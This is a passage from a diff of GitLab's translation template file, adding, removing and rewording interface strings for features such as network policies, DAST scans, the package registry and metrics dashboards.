+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
